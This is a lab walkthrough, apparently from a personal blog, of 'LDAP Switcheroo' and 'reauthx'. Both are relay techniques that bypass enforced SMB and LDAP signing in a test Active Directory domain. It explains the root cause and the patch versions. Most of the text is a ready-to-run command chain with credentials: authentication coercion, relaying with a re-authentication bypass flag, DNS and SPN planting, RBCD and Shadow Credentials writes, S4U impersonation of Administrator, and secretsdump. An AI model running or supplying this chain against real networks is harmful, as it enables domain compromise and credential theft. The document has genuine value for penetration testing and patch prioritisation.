LDAP Switcheroo

Purpose of this attack
Enforced signing (SMB or LDAP) is the standard mitigation against the whole NTLM/Kerberos relay class — the usual assumption is "signing on = relay dead." The purpose of the Switcheroo is to show that this assumption is no longer sufficient on its own: by swapping a relayed privileged identity onto a session we already signed with a key we control, we land a signed, privileged session on a target that requires signing — exactly where a plain relay gets refused.
In this lab the concrete goal is a full compromise of the member server STORAGE (SYSTEM / secrets dump). We never attack the DC as a victim. We relay STORAGE's coerced machine-account auth to the DC's LDAP service and write RBCD onto STORAGE's own AD object, then ride S4U → cifs/STORAGE as Administrator. STORAGE itself never needs to speak LDAP — its computer object lives in the directory on the DC, and that is what we modify.
What makes this a real proof and not a lucky relay: LDAP signing is enforced on the DC (nxc ldap reports signing:Enforced on port 389), yet the Switcheroo run still writes RBCD. That is the actual point of the technique — the re-authentication identity swap keeps signing with a key we control, so an enforced-signing LDAP bind accepts the relayed STORAGE$ identity where a plain relay would be refused. (Channel binding was not enforced here — channel binding: No TLS cert — so this demonstrates the signing bypass specifically, not a channel-binding bypass.)
How it works (TL;DR)
Signing (SMB or LDAP) is supposed to kill relay: the attacker only forwards the victim's authentication and never sees the session key, so they can't sign the traffic — and a signing-required target drops the session.
The Switcheroo breaks that by splitting what grants privilege (the relayed authentication) from what signs the traffic (a session key the attacker controls), using session re-authentication:
- Open a session / bind with a low-privilege account you control → you know the session key → you can sign (the "base session").
- Relay the privileged authentication (from coercion) as a re-authentication of that same session.
- The server swaps the session's identity to the privileged one but keeps the original signing key — the one you hold.
Result: a privileged, correctly-signed session on a signing-required target. Two spec behaviours make this possible:
- Key retention — on re-auth the server keeps the existing
Session.SessionKeyinstead of deriving a new one (MS-SMB2 3.3.5.5.2 / .3).
- Missing identity check — the server never verifies that the re-authenticating identity matches the original one. This missing check is the actual bug, not the key retention.
LDAP variant (this write-up): LDAP lets you re-bind an existing connection. The DC keeps the first bind's signing/sealing keys and doesn't re-check identity on the re-bind, so a coerced machine account — here STORAGE$ — is relayed to ldap://DC01 as a signed/sealed bind. That's enough to write msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD) onto the target computer object, then S4U2Proxy → cifs/STORAGE as Administrator → secretsdump. SMB variant: the same trick against SMB signing (reflective relay → SYSTEM/SAM dump).
Two caveats: defeating signing is not a compromise on its own — you still need a privileged identity to relay. And signing never blocks coercion; it only blocks the relayed session from landing. That's why STORAGE$ coerces fine even with SMB signing enforced.
The exchange, step by step
One signed SASL record is the whole trick. The attacker already holds a signed LDAP connection as an identity it controls (X) — from valid creds or, where the DC allows it, an anonymous NTLM bind — and knows that session key. It relays the victim's NTLM over that connection and stacks the victim's BindRequest and a malicious ModifyRequest into the same SASL record, signed once with X's key. The DC verifies that one signature, switches the connection's identity to the victim (Y), then runs the Modify as Y. The victim has to be an SMB client: its NTLM sets the signing flag, which is exactly what makes the stacked operation land — a WebDAV/HTTP victim doesn't set it and the DC rejects with operationsError 0x4DC.

Root cause & fix (Raj Patel, SpecterOps — "LDAP Switcheroo"). The DC verifies the SASL record once, under X, and never re-checks that the identity flipped to Y partway through the record. The October 2026 patch (KB5126646) gives every LDAP connection an identity counter: when the Bind switches the identity mid-record, the counter no longer matches the snapshot taken when the data arrived, so the DC throws away the rest of the SASL record and the stacked Modify never runs. The SMB side was the same bug, patched a month earlier (Sep 2026). Note: this bypasses signing, not channel binding — but channel binding only guards LDAPS (636), and the attack runs over plain LDAP (389), so enforcing both still left DCs exposed until the patch.

https://specterops.io/blog/2026/10/23/ldap-signing-bypass-ntlm-relay/

Victim Network

We check the DC for LDAP and SMB signing
nxc ldap dc.novaforge.local -u 'ryan.collins' -p '821collins'
nxc smb dc.novaforge.local -u 'ryan.collins' -p '821collins'SMB and LDAP Signing is ON on DC

SMB Signing is also on at the STORAGE Member Server
Recon tool — switchcheck.py (both techniques at once)
A small read-only checker that prints a verdict for both attacks for one target, since they share one root cause (the missing same-identity check on re-authentication). For a host it reports: build/UBR → the SMB patch chain (#1 CVE-2025-33073, #2 CVE-2025-58726, #4 same-user re-auth), whether SMB signing is required, whether the cross-user re-auth swap works (tested with --probe and a second account), and — on a DC — its LDAP signing posture. It is built on aas-n/reauthx patchcheck.py, extended with the LDAP side.
One honesty note baked into the tool: the LDAP-389 line reports signing from a cleartext simple bind, which only confirms enforcement when the bind is rejected (strongerAuthRequired). A simple bind that succeeds is inconclusive — the "require signing" policy governs SASL binds, not simple binds — so for the real answer the tool defers to nxc ldap (which showed signing:Enforced here) or LdapRelayScan.
We run it against the member server (STORAGE)
python3 switchcheck.py 'NOVAFORGE/daniel.brooks:daniela1992@10.0.0.101' --probe 'ryan.collins:821collins'
We run it against the DC
python3 switchcheck.py 'NOVAFORGE/daniel.brooks:daniela1992@10.0.0.100' --probe 'ryan.collins:821collins'
The script
We clone the Switcheroo repo
git clone https://github.com/grayhatkiller/switcheroo.git
cd switcheroo
We need the patched ntlmrelayx from this impaket version
We clone the patched impaket also
git clone https://github.com/grayhatkiller/impacket.git

We enter the impacket directory
cd impacket
We set up a Python virtual environment
python3 -m venv venv
source venv/bin/activate
We install the patched impacket
pip install .
We create a computer account we control
addcomputer.py 'NOVAFORGE/daniel.brooks:daniela1992' -dc-ip 10.0.0.100 \
-computer-name 'ATTACKPC' -computer-pass 'P@ssw0rd123!'
We read the new account's SID
bloodyAD -u daniel.brooks -p daniela1992 -d novaforge.local --host 10.0.0.100 get object \
'CN=ATTACKPC,CN=Computers,DC=novaforge,DC=local' --attr objectSidWe got the ATTACKPC SID

We run Switcheroo to write RBCD over the signed relay
python3 switcheroo.py \
'NOVAFORGE/daniel.brooks:daniela1992@DC01.novaforge.local' \
-dc-ip 10.0.0.100 \
-base-dn 'DC=novaforge,DC=local' \
-listen-ip 192.168.211.2 \
-victim 'NOVAFORGE/STORAGE$' \
-modify-dn 'CN=STORAGE,CN=Computers,DC=novaforge,DC=local' \
-rbcd-sid 'S-1-5-21-4040438430-749096805-303184635-7101' \
-ntlmrelayx /root/Schreibtisch/switcheroo/impacket/examples/ntlmrelayx.py
We coerce STORAGE to trigger the relay
nxc smb storage.novaforge.local -u 'ryan.collins' -p '821collins' -M coerce_plus -o LISTENER=192.168.211.2 ALWAYS=trueThe attack was successful. The final (SMB): Authenticating against ldap://DC01.novaforge.local as NOVAFORGE/STORAGE$ FAILED message can be ignored in this case: the preceding Modify -> success and SUCCESS: target object now contains the attacker value messages confirm that the RBCD attribute was successfully modified.

We abuse S4U to impersonate Administrator
impacket-getST -spn cifs/STORAGE.novaforge.local \
-impersonate Administrator \
-dc-ip 10.0.0.100 \
'NOVAFORGE/ATTACKPC$:P@ssw0rd123!'
We load the Kerberos ticket
export KRB5CCNAME=Administrator@cifs_STORAGE.novaforge.local@NOVAFORGE.LOCAL.ccache
klist
We dump STORAGE's secrets
impacket-secretsdump -k -no-pass STORAGE.novaforge.local -dc-ip 10.0.0.100
Affected versions & fix
Root cause: no same-identity check on SMB/LDAP session re-authentication (MS-SMB2 3.3.5.5.2 / 3.3.5.5.3). The server keeps the first session's signing key and never re-checks that the re-authenticating principal matches the original one.
Fix: Microsoft added a same-user check on re-authentication. It shipped first in the September 2026 Patch Tuesday (9 Sep 2026) — cumulative update KB5124008 (and KB5124012) on Windows 11 24H2 / Server 2025 — and the same hardening rolled out to the other supported Windows versions (servers and workstations alike) over the following weeks. The SMB side of the reported chain is tracked as CVE-2026-69676 (RCE, CVSS 8.8, reported by @mad31k); the LDAP-signing hardening landed in the same update wave.
Vulnerable vs. patched:
- Vulnerable — any host without the Sept 2026 cumulative (or later). Signing being enforced does not save it: e.g. Server 2022 build
10.0.20348.2402reportssigning:Trueyet still accepts the cross-user re-auth swap. Domain Controllers are in scope too — they enforce signing by default, which is exactly the barrier this bypasses. In this lab bothSTORAGEandDC01were pre-patch.
- Patched — a host current on updates (≥ Sep 2026 cumulative) rejects the identity swap on re-auth. Signing is enforced and now actually sufficient against this class.
- Never patched — end-of-life / unsupported builds may never receive the check.
How to confirm per host: run the recon (patchcheck.py, or the reauth_swap NetExec module). If the same-user re-auth check shows absent and the build predates the Sept 2026 update, the host is in range. Read this as a patch window, not a permanent gap — a fully-updated estate is no longer affected.
Reauthx

reauthx is the SMB side of the same re-authentication trick: a krbrelayx fork with one extra flag, --reauth-bypass, that keeps a low-priv account's signing key across a cross-user re-auth of a reflected SMB session. Where the LDAP Switcheroo above relayed to the DC's LDAP service, here the plan is a reflective relay against STORAGE's own SMB: coerce STORAGE → reflect its auth back onto STORAGE while signing with daniel.brooks' key → SYSTEM → local SAM dump.
The precondition is confirmed by patchcheck below: STORAGE enforces SMB signing (signing:True) and is still vulnerable to the cross-user swap (same-user re-auth: absent).
We clone reauthx and set up its environment
cd ~/Schreibtisch
git clone https://github.com/aas-n/reauthx
cd reauthx
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
We confirm STORAGE is vulnerable to the signing bypass
python3 patchcheck.py 'NOVAFORGE/daniel.brooks:daniela1992@10.0.0.101' --probe 'ryan.collins:821collins'
We build the confusable name and point DNS at the relay
NAME="$(python3 coerce_name.py storage.novaforge.local --mode cmti --raw)"
bloodyAD -u daniel.brooks -p daniela1992 -d novaforge.local --host 10.0.0.100 add dnsRecord "$NAME" 192.168.211.2
dig +noidnin +noidnout +short "$NAME.novaforge.local" @10.0.0.100
We verify the record resolves to the relay
bloodyAD --host 10.0.0.100 -d novaforge.local -u daniel.brooks -p 'daniela1992' get dnsDump | grep -A 3 "$NAME"
We start the relay with the signing bypass
sudo venv/bin/python3 krbrelayx.py -t smb://10.0.0.101 --reauth-bypass 'NOVAFORGE/daniel.brooks:daniela1992'
We coerce STORAGE to reflect its auth onto the relay
NAME="$(python3 coerce_name.py storage.novaforge.local --mode cmti --raw)"
echo "NAME=[$NAME]"
nxc smb 10.0.0.101 -u 'ryan.collins' -p '821collins' -M coerce_plus -o LISTENER="${NAME}.novaforge.local" ALWAYS=true

We watch the relay — and hit a protocol wall
[*] SMBD: Received connection from 10.0.0.101
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'Why this did not complete (NTLM vs Kerberos)
The coercion fired and STORAGE connected to the relay repeatedly — but every connection arrived as NTLM (Unsupported MechType 'NTLMSSP'), looping endlessly.
reauthx is a krbrelayx fork — it relays Kerberos only (its --help exposes no NTLM path). For STORAGE to send Kerberos, it would have to request a service ticket for an SPN tied to the confusable name. Our confusable record (localhost1UWhRC…) is a bare DNS entry with no backing computer account, so there is no cifs/$NAME SPN to request and the client falls back to NTLM. A tcpdump on port 88 during the coercion showed no Kerberos traffic at all — only SMB (445), confirming it.
So the reflective SMB variant stalled at first — not because STORAGE is patched (it isn't: patchcheck reports it vulnerable) and not because of a config typo. It stalled because the available coercion produced NTLM while this tool consumes only Kerberos. For STORAGE to emit Kerberos, the coercion target has to resolve to a real SPN that differs from the host's own NETBIOS name — the "ghost SPN" condition. The next section supplies exactly that and the attack then completes.
Making it work — the Ghost SPN
The fix is to give STORAGE a service principal name whose host part is not its real name (a ghost SPN), point a matching DNS record at the relay, and coerce to that name. STORAGE then requests a Kerberos ticket for cifs/STORAGE2, the relay receives Kerberos instead of NTLM, and --reauth-bypass reflects it back onto STORAGE's signing-required SMB — SYSTEM, SAM dump.
This needs write access to STORAGE's servicePrincipalName. Here svc_it_admin holds WriteSPN over STORAGE (and the DC), which is the enabling misconfiguration.
We confirm svc_it_admin can write STORAGE's SPNs
bloodyAD -u svc_it_admin -p 'pa$$w0rd' -d novaforge.local --host 10.0.0.100 \
get object 'CN=STORAGE,CN=Computers,DC=novaforge,DC=local' --attr servicePrincipalName
We add a ghost SPN that differs from the NETBIOS name
bloodyAD -u svc_it_admin -p 'pa$$w0rd' -d novaforge.local --host 10.0.0.100 \
set object 'CN=STORAGE,CN=Computers,DC=novaforge,DC=local' \
servicePrincipalName -v 'cifs/STORAGE2.novaforge.local' -v 'host/STORAGE2.novaforge.local'
We point a DNS record for that name at the relay
bloodyAD -u daniel.brooks -p daniela1992 -d novaforge.local --host 10.0.0.100 \
add dnsRecord STORAGE2 192.168.211.2
dig +short STORAGE2.novaforge.local @10.0.0.100
We start the relay with the signing bypass
sudo venv/bin/python3 krbrelayx.py -t smb://10.0.0.101 --reauth-bypass 'NOVAFORGE/daniel.brooks:daniela1992'
We coerce STORAGE to the ghost SPN name
nxc smb 10.0.0.101 -u svc_it_admin -p 'pa$$w0rd' -M coerce_plus \
-o LISTENER='STORAGE2.novaforge.local' ALWAYS=trueNow STORAGE requests a Kerberos ticket for cifs/STORAGE2, the relay receives Kerberos (port 88 traffic appears), the reflected re-auth keeps daniel.brooks' signing key, and the local SAM is dumped — enforced SMB signing bypassed over the reflective SMB path.
The relay completes — SYSTEM and a SAM dump

LDAP Switcheroo vs reauthx — which landed, and why
In this lab the LDAP Switcheroo path completed end-to-end while the reauthx / SMB path did not. The deciding factor was the authentication protocol, not one technique being inherently stronger:
- LDAP Switcheroo drives
ntlmrelayx, so it relays the NTLM that EFSRPC coercion actually produces. It writes RBCD on STORAGE's own object — a computer account may edit its ownmsDS-AllowedToActOnBehalfOfOtherIdentity— which also avoids reflection, because the relay target (the DC's LDAP) differs from the coerced host.
- reauthx needs Kerberos reflection, which this lab's coercion never generated → rejected as
Unsupported MechType.
On the idea that the LDAP path is "more powerful because it works with signing on" — this holds here, with one precision:
- STORAGE's SMB signing never gated the LDAP path. Signing does not block coercion, only the landing of the relayed session — and the LDAP path lands on the DC, not on STORAGE.
- The DC's LDAP signing was enforced (
signing:Enforcedon port 389), and the Switcheroo run still wrote RBCD. That is a genuine enforced-signing bypass, not a plain relay against an open DC.
- Scope: the bypass is against signing. Channel binding was not enforced in this lab (
channel binding: No TLS cert); enforcing LDAPS + channel binding (EPA) is a separate control and is not claimed to be bypassed here.
The cleanest possible write-up of this would add the negative control — a plain ntlmrelayx against the same enforced-signing LDAP, which should be refused — placed next to the successful Switcheroo run. With signing confirmed enforced, the bypass is already demonstrated; the ntlmrelayx failure is corroboration rather than a requirement.
Update — now in mainline Impacket (one flag for both)
Both re-authentication bypasses are now merged into Fortra's official ntlmrelayx under a single opt-in flag, --reauth-bypass — the SMB side (reauthx) and the LDAP side (this Switcheroo). No more separate forks (switcheroo.py / krbrelayx --reauth-bypass): one tool covers both. With the flag off it behaves like stock ntlmrelayx.
- SMB: a low-priv account opens the base session; relaying a privileged user's auth swaps the session's identity while keeping the original signing key — authenticated ops despite enforced SMB signing.
- LDAP: a relayed auth is followed by an LDAP modify inside the same signed SASL record despite enforced LDAP signing. The base session can be a low-priv account or, where accepted, an anonymous NTLM SASL bind.
Applies only to hosts missing the corresponding fix (SMB ~Sep 2026, LDAP KB5126646 ~Oct 2026).
We reinstall Impacket from git master to get the flag
(Impacket v0.14.0.dev0+20261103.122855.c6efd1a8)
pipx install --force "git+https://github.com/fortra/impacket.git"
# verify the flag is present:
ntlmrelayx.py --help | grep -i reauth
We check the DC for LDAP and SMB signing
nxc ldap dc.novaforge.local -u 'ryan.collins' -p '821collins'
nxc smb dc.novaforge.local -u 'ryan.collins' -p '821collins'SMB and LDAP Signing is ON on DC

We create a computer account we control
addcomputer.py 'NOVAFORGE/daniel.brooks:daniela1992' -dc-ip 10.0.0.100 \
-computer-name 'ATTACKPC' -computer-pass 'P@ssw0rd123!'
We run the relay with the bypass + RBCD delegation
We point the relay straight at the DC's LDAP (ldap://10.0.0.100) — no target file needed. The base session is our low-priv ryan.collins, and the relayed STORAGE$ writes RBCD onto its own object, which our ATTACKPC$ then abuses via S4U. Our member-server target is STORAGE$ (10.0.0.101)
ntlmrelayx.py -t ldap://10.0.0.100 -smb2support \
--reauth-bypass 'ryan.collins:821collins' \
--delegate-access --escalate-user 'ATTACKPC$' \
--no-multirelay
We coerce STORAGE to authenticate to the relay
nxc smb 10.0.0.101 -u 'ryan.collins' -p '821collins' -M coerce_plus -o LISTENER=192.168.210.2 ALWAYS=true
We abuse S4U to impersonate Administrator
impacket-getST -spn cifs/STORAGE.novaforge.local \
-impersonate Administrator \
-dc-ip 10.0.0.100 \
'NOVAFORGE/ATTACKPC$:P@ssw0rd123!'
We load the Kerberos ticket
export KRB5CCNAME=Administrator@cifs_STORAGE.novaforge.local@NOVAFORGE.LOCAL.ccache
klist
We dump STORAGE's secrets
impacket-secretsdump -k -no-pass STORAGE.novaforge.local -dc-ip 10.0.0.100
Extended attack — Shadow Credentials (needs a foreign privileged relayed identity)
The same --reauth-bypass LDAP relay can write Shadow Credentials (msDS-KeyCredentialLink) instead of RBCD — handing you a certificate for the target to PKINIT with. But it only lands when the relayed identity already holds write rights over the target's msDS-KeyCredentialLink. That precondition is exactly why the self-relay above uses RBCD, not shadow creds — self-write rights differ per attribute:
| Attribute | Technique | Machine account self-write? |
|---|---|---|
msDS-AllowedToActOnBehalfOfOtherIdentity | RBCD | ✅ Yes, self-write allowed |
msDS-KeyCredentialLink | Shadow Credentials | ❌ No, needs GenericWrite / GenericAll from another principal |
When the precondition is met (the relayed identity is privileged over the target), the run is:
ntlmrelayx.py -t ldap://10.0.0.100 -smb2support \
--reauth-bypass 'ryan.collins:821collins' \
--shadow-credentials --shadow-target 'STORAGE$' \
--no-multirelay
We coerce STORAGE to authenticate to the relay
nxc smb 10.0.0.101 -u 'ryan.collins' -p '821collins' -M coerce_plus -o LISTENER=192.168.210.2 ALWAYS=true

Then PKINIT with the issued PFX and dump the target's local SAM (member server, so SAM not NTDS):
getTGT.py -cert-pfx aYeOA03C.pfx -pfx-pass oIKUmDUKQYRwNAcsV5vh novaforge.local/STORAGE$When you want support me
https://buymeacoffee.com/2ubz3r0